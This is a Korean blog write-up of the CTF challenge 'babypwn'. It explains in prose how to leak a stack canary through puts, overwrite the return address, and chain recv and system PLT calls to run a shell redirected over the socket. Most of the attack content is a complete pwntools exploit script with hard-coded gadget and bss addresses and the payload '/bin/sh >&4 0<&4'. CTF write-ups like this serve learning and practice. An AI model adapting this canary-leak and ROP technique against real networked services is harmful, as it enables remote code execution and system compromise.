까나리랑 NX가 걸려있다.
v2에서 스캔(recv)를 받으면서 취약점이 터진다.
그런데 v3에 까나리가 있다.
바로 다음줄에 puts가 있으므로 까나리 릭이 가능하다.
"A"*28 넣고 sendline으로 보내면 0x0a까지 들어가므로, 까나리 한 바이트를 덮는다. 그러면 릭이 가능하다(널을 만날 때 까지 출력하므로)
0x0a까지 넣어서 까나리 한 바이트를 덮는 것은...
까나리가 00으로 끝나기 때문에, 딱 v2의 크기인 28바이트만 넣으면 까나리 출력이 안 된다.
그런데 바이너리에 서비스(?)로 system함수의 plt가 있다.
까나리 맞추고 더미 준 다음에 bss에 "/bin/sh\x00" 올리고 system 불러주면 뚝-딱인데, 이 바이너리는 socket을 여는 바이너리이다...
이렇게하면 서버에서 쉘이 따인다.
리버스 커넥션으로 쉘을 따도록 하자.
1. "A"*28 + sendline으로 보내서 까나리를 릭 한다.
2. while문이 돌고 있는 상태에서 릭 한것이고, 함수 종료가 안 되었기 때문에 smashing the stack은 감지되지 않는다.
3. "A"*28+까나리+dummy(0x0c) 맞춰주면 EIP control이 가능하다. (EBP-C에 까나리가 있으므로, 까나리 4바이트 + 더미 8바이트 후에 EBP가 나오므로, 0xc만큼 더미를 주면 EBP까지 덮힌다)
4. recv함수의 plt를 호출해서 문자열을 보낸다. ("/bin/sh >&4 0<&4\x00")
5. system함수의 plt를 호출해서 이 문자열을 실행한다.
fd는 4번이므로 "/bin/sh >&4 0<&4\x00"를 보내면 된다.
아래는 익스
from pwn import * from time import sleep s = remote('0', 8181) e = ELF('./babypwn', checksec=False) pppr = 0x8048b83 ppppr= 0x08048eec bss = 0x0804B1B4 binsh = "/bin/sh >&4 0<&4\x00" print s.recvuntil("Select menu > ") s.sendline("1") #sleep(0.4) print s.recvuntil("Input Your Message : ") s.sendline("A"*40) s.recv(40) leak = u32(s.recv(4))-0x0a print 'leak :', hex(leak) print s.recvuntil("Select menu > ") s.sendline("1") #sleep(0.4) print s.recvuntil("Input Your Message : ") payload = "A"*40 payload += p32(leak) payload += "B"*12 payload += p32(e.plt['recv']) payload += p32(ppppr) payload += p32(4) payload += p32(bss) payload += p32(len(binsh)) payload += p32(0) payload += p32(e.plt['system']) payload += "BBBB" payload += p32(bss) #sleep(0.5) s.sendline(payload) #sleep(0.5) s.sendline("3") #sleep(0.4) s.sendline(binsh) s.sendline(binsh) s.interactive()
<삽질>
recv인자 네개가 아니라 세개인줄 알고 엄청 삽질했다...
이런 소켓 바이너리 분석할 땐 strace로 분석하면 편하다.
gdb로 할 땐 set follow-fork-mode child
strace로 할 땐 strace -if ./babypwn
i옵션은 도현이거 카피함ㅋ
'write-up > pwnable' 카테고리의 다른 글
PlaidCTF 2013 ropasaurusrex (0) | 2019.07.11 |
---|---|
Codegate 2018 BaskinRobins31 (0) | 2018.08.18 |
Codegate 2014 Nuclear (0) | 2018.08.14 |
Codegate 2014 Angrydoraemon (0) | 2018.08.09 |